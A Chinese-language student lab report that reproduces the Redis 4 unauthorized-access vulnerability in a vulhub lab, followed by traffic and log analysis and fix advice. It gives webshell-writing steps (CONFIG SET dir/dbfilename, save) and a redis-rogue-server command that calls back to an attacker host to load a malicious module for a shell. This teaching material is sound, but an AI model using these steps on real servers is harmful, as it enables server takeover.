Redis4-unacc未授权访问漏洞复现

Redis4-unacc未授权访问漏洞复现

一、报告目的

1.1 报告对象：授课老师和一起学习的同学

1.2 报告目的

详细阐述 Redis 未授权访问漏洞复现的实验过程，包括环境搭建、漏洞利用步骤等，让读者清晰了解该漏洞的利用原理和危害；深入分析实验过程中产生的日志数据，总结漏洞利用过程中的行为特征，为漏洞防范提供依据；通过实验总结经验教训，提出有效的漏洞修复建议和安全防范措施，提升自身及他人的安全意识和技能。

1.3 报告评价

希望老师和同学通过本报告，认可我对 Redis 未授权访问漏洞的深入理解和掌握，肯定我在实验过程中的严谨态度和分析问题的能力。同时，也希望报告中的内容能够对他们在学习和研究网络安全漏洞方面有所帮助，引发更多的思考和讨论。

二、实验原理

Redis 是一个开源的内存数据存储系统，在默认配置下，如果未设置密码且绑定在公网可访问的地址上，就会存在未授权访问漏洞。攻击者可以直接连接 Redis 服务，执行各种命令，如读取、修改数据，甚至通过修改配置文件、加载恶意模块等方式获取服务器权限，导致数据泄露、服务器被控制等严重后果。

三、漏洞详情说明

3.1 影响范围

版本方面：Redis 2.x、3.x、4.x、5.x 版本都受影响。通常在这些版本中，若采用默认配置且无额外安全防护措施，就可能存在该漏洞风险。

部署环境方面：在云服务器、企业内部服务器等各种部署环境中，如果 Redis 绑定在 0.0.0.0:6379 且未添加防火墙规则等安全策略，同时没有设置密码认证或使用弱密码，都可能被未授权访问。如在一些企业自行搭建的私有云环境中，若对 Redis 配置不当，就可能使 Redis 服务暴露在公网上，进而面临风险。

应用场景方面：广泛应用于缓存系统、消息队列、实时数据处理等场景的 Redis，一旦出现未授权访问漏洞，在这些场景下都可能导致数据泄露、数据被篡改等问题。比如在电商系统中用 Redis 做缓存，若存在漏洞，攻击者可能获取用户订单、商品库存等敏感信息。

3.2 评分

按照常见的漏洞评分系统 CVSS 来衡量，一般可以给到 7 分以上，属于高风险漏洞。

该漏洞具备利用难度较低，影响范围较广，且危害严重的特点。

3.3 漏洞详情

Redis 安装后，若绑定在 0.0.0.0:6379，没有添加防火墙规则等安全策略来避免非信任来源 IP 访问，同时没有设置密码认证或使用弱口令，就会使 Redis 服务暴露在公网上，导致任意能访问目标服务器的用户可未授权访问 Redis，进而读取 Redis 数据。

四、漏洞存在条件

网络绑定与暴露方面

绑定在 0.0.0.0:6379：Redis 默认会绑定在 0.0.0.0:6379 这个地址和端口上，这意味着它可以接受来自任何网络接口的连接请求。如果没有进行额外配置，就为外部访问提供了可能性。

无防火墙等安全策略：没有添加防火墙规则来限制非信任来源的 IP 访问，或者没有在云服务器安全组等设置中进行访问限制，使得 Redis 服务直接暴露在公网上，外部攻击者可以轻易地访问到 Redis 服务。

认证设置方面

未设置密码：没有设置密码认证，即采用默认的无密码状态，或者设置了弱密码，使得攻击者可以无需密码或通过简单猜测就能远程登录到 Redis 服务，直接执行各种命令。

服务运行权限方面

以高权限运行：当 Redis 以 root 等具有高权限的用户身份运行时，攻击者利用未授权访问进入后，能够借助高权限进行如写入 SSH 公钥、写入 Webshell、写入计划任务等高危操作，从而进一步控制服务器。

版本因素方面

部分版本特性：Redis 2.x、3.x、4.x、5.x 等版本在默认配置下，如果没有进行安全设置，都存在未授权访问的风险。尽管 Redis 3.2 之后增加了 protected-mode，但如果未正确配置或关闭了保护模式，依然可能存在漏洞。

五、实验工具

Kali2024攻击机（192.168.144.143）
Kali2024靶机（192.168.1144.140）

六、漏洞复现参考资料

Secsheep–vulhub漏洞复现之redis 4-unacc 未授权访问漏洞

http://www.secsheep.top/2023/06/07/vulhub漏洞复现之redis-4-unacc-未授权访问漏洞/

七、操作过程

1.拉取redis复现环境

在靶机对应的漏洞文件夹下运行docker compose up，观察容器运行信息可知靶场搭建成功

docker容器运行成功

2.信息收集

运行docker ps查看到靶场开放在6379端口

查看端口信息

在攻击机中通过nmap扫描也能查看到靶机的端口开放信息

nmap扫描结果

3.用redis-cli命令远程免密登录redis主机

利用攻击机安装redis-cli远程连接工具

安装redis-cli

用redis-cli命令远程免密登录redis主机，并且通过info查看到redis的基本信息

redis免密登录

4.写入shell文件

因为靶场没有开启web端口无法直接上传木马文件，所以用写入shell文件的方式添加后门

将dir设置为一个目录A，而dbfilename为文件名B，再执行save或bgsave，则我们就可以写入一个路径为/A/B的任意文件

在tmp目录下写入一个test.php的木马文件

写入木马文件

在靶机中运行发现命令成功写入

命令成功写入

5.使用py脚本执行远程命令

首先把exp进行下载（git clone失败我选择本地下载上传）

下载exp

首先执行make命令，如何再回到redis-rogue-getshell目录下，最后执行
python3 redis-rogue-server.py –rhost 192.168.144.140 –lhost 192.168.144.143

执行脚本

然后输入i进入交互即可，即可连接成功

成功连接

八、数据分析

8.1 流量分析

在利用攻击机进行攻击时，我打开wireshark抓包，并存储在csv文件中

抓包分析1

抓包分析2

抓包分析3

通过对每一条数据包的分析，可以发现该攻击方式的流量特征：

  1. 利用RESP协议发送高危Redis命令：CONFIG SET dir：频繁修改数据库存储路径（如/tmp、/root/.ssh）。
  2. CONFIG SET dbfilename：设置恶意文件名（如test.php、authorized_keys）。
  3. SLAVEOF：将靶机设置为攻击机的从节点（如SLAVEOF 192.168.144.143 21000），用于数据同步或写入恶意文件。
  4. MODULE LOAD：加载动态库（如exp.so），尝试执行任意代码。
  5. 写入Webshell与SSH公钥：
    • Webshell：通过set webshell写入PHP代码，并保存为test.php（第5、10、19、22行）。
    • SSH公钥：尝试将数据库文件设置为authorized_keys（第38行），但因权限不足失败（第29行显示Permission denied）。
  6. 恶意模块加载与清理：
    • 加载动态库exp.so（第149行），可能用于反弹Shell或提权。
    • 攻击后删除恶意文件（第156行rm ./exp.so），掩盖攻击痕迹。
  7. TCP Keep-Alive保活探测：
    • 大量[TCP Keep-Alive]包（如第8、13、25行等），用于维持连接或探测靶机存活状态。

8.2 日志分析

我在靶机查看了docker的行为日志，并把日志保存在文件log.txt

日志分析

Log.txt记录了 Redis 实例的启动、运行及主从同步过程，结合渗透攻击场景，有诸多异常与潜在攻击迹象：

未授权访问风险暴露

日志开头显示 “Warning: no config file specified, using the default config.”，这意味着 Redis 使用默认配置启动。默认配置下，Redis 可能未设置密码，且可能绑定在 0.0.0.0:6379，允许任意 IP 访问，为未授权访问创造了条件。攻击者可借此直接连接 Redis 服务，开展后续攻击。

主从复制异常操作

日志多次出现 “SLAVE OF 192.168.144.143:21000 enabled”，表明有人尝试将该 Redis 实例设置为指定主节点的从节点。但连接主节点时多次遭遇 “Connection refused” 错误，却持续尝试连接。这种异常的重复连接行为不符合正常运维操作逻辑，极有可能是攻击者在利用主从复制机制实施攻击

攻击者可能意图通过控制主节点，使目标 Redis 实例（从节点）同步恶意数据，比如植入后门、篡改数据等。此外，在主从同步过程中，出现 “Wrong signature trying to load DB from file” 和 “Failed trying to load the MASTER synchronization DB from disk” 错误，可能是攻击者干扰了同步数据，破坏数据完整性，或借此让 Redis 实例进入不稳定状态，便于后续利用其他漏洞。

恶意模块加载迹象

日志中 “Module’system’ loaded from ./exp.so” 记录显示，Redis 加载了一个名为 “system” 的非标准模块，且来源可疑（”exp.so” 文件名暗示可能是恶意工具）。正常情况下，Redis 不会加载此类模块。攻击者很可能利用未授权访问漏洞上传并加载该恶意模块，从而获取额外权限，比如在 Redis 进程所在环境中执行系统命令，实现对宿主机的进一步渗透。

可疑的命令执行记录

日志中 “MASTER MODE enabled (user request from ‘id=5 addr=192.168.144.143:56002 fd=9 name= age=5 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=slaveof’)” 表明，有人执行了切换到主模式的命令，且来源 IP 为 192.168.144.143:56002。这一操作结合上述异常，很可能是攻击者为达成特定攻击目的（如数据篡改、权限提升等）而实施的操作，进一步证实了 Redis 实例正遭受恶意攻击。

8.3 漏洞利用行为总结

针对漏洞利用过程中的流量和服务器日志进行分析，总结漏洞利用过程中的行为特征如下：

未授权访问与初始连接：攻击者利用 Redis 未授权访问漏洞，通过 TCP 协议与目标 Redis 服务器（192.168.144.140）建立连接，如unacc.csv中大量 TCP 连接记录，源 IP192.168.144.143不断与目标交互，且早期连接无认证相关信息，表明可随意访问。

配置篡改行为：在unacc.csv中多次出现使用config set命令修改 Redis 配置的操作，如修改工作目录（config set dir /tmp）和数据库文件名（config set dbfilename test.php等） 。在log.txt虽未直接显示配置修改的相关报错或确认信息，但从整体攻击逻辑看，这些配置修改为后续恶意操作做准备，可能用于指定恶意文件的存储位置或干扰正常数据存储。

恶意数据注入：攻击者通过unacc.csv中的set webshell命令向 Redis 数据库注入恶意代码，如 ，意图在服务器上创建 Webshell，为后续远程控制服务器提供途径。

主从复制滥用：log.txt中 Redis 实例尝试设置为从节点（SLAVE OF 192.168.144.143:21000），在连接和同步过程中出现多次错误仍持续尝试。unacc.csv也记录了相关SLAVEOF指令，表明攻击者利用主从复制机制，可能试图从恶意主节点同步数据，实现数据窃取或在目标 Redis 实例中植入恶意数据。

恶意模块加载：unacc.csv中有MODULE LOAD ./exp.so操作，log.txt显示成功加载system模块（从./exp.so） ，攻击者借助未授权访问上传并加载恶意模块，以获取额外权限，如执行系统命令，对服务器安全造成严重威胁。

攻击的持续性和试探性：从unacc.csv的时间序列和操作记录来看，攻击行为持续时间长，且在遇到如连接拒绝（log.txt中同步时的连接拒绝错误）等问题时仍不断尝试不同操作。例如，在修改配置、设置数据、加载模块等操作之间，即便出现错误，攻击者依旧持续进行其他攻击尝试，以实现最终控制服务器或窃取数据的目的。

九、漏洞修复建议

  1. 升级Redis至最新版本，修复未授权访问漏洞。
  2. 启用Redis认证（requirepass）。
  3. 禁止使用root权限启动redis服务。
  4. 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令，redis 客户端也需要此密码来访问 redis 服务。
  5. 添加IP访问限制：配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379

十、总结

通过此次漏洞复现，我掌握了vulhub靶场搭建以及远程执行poc代码，并理解了上传webshell的原理，最后通过日志分析和流量分析得出漏洞利用行为的特征，比如注入恶意数据，篡改配置行为。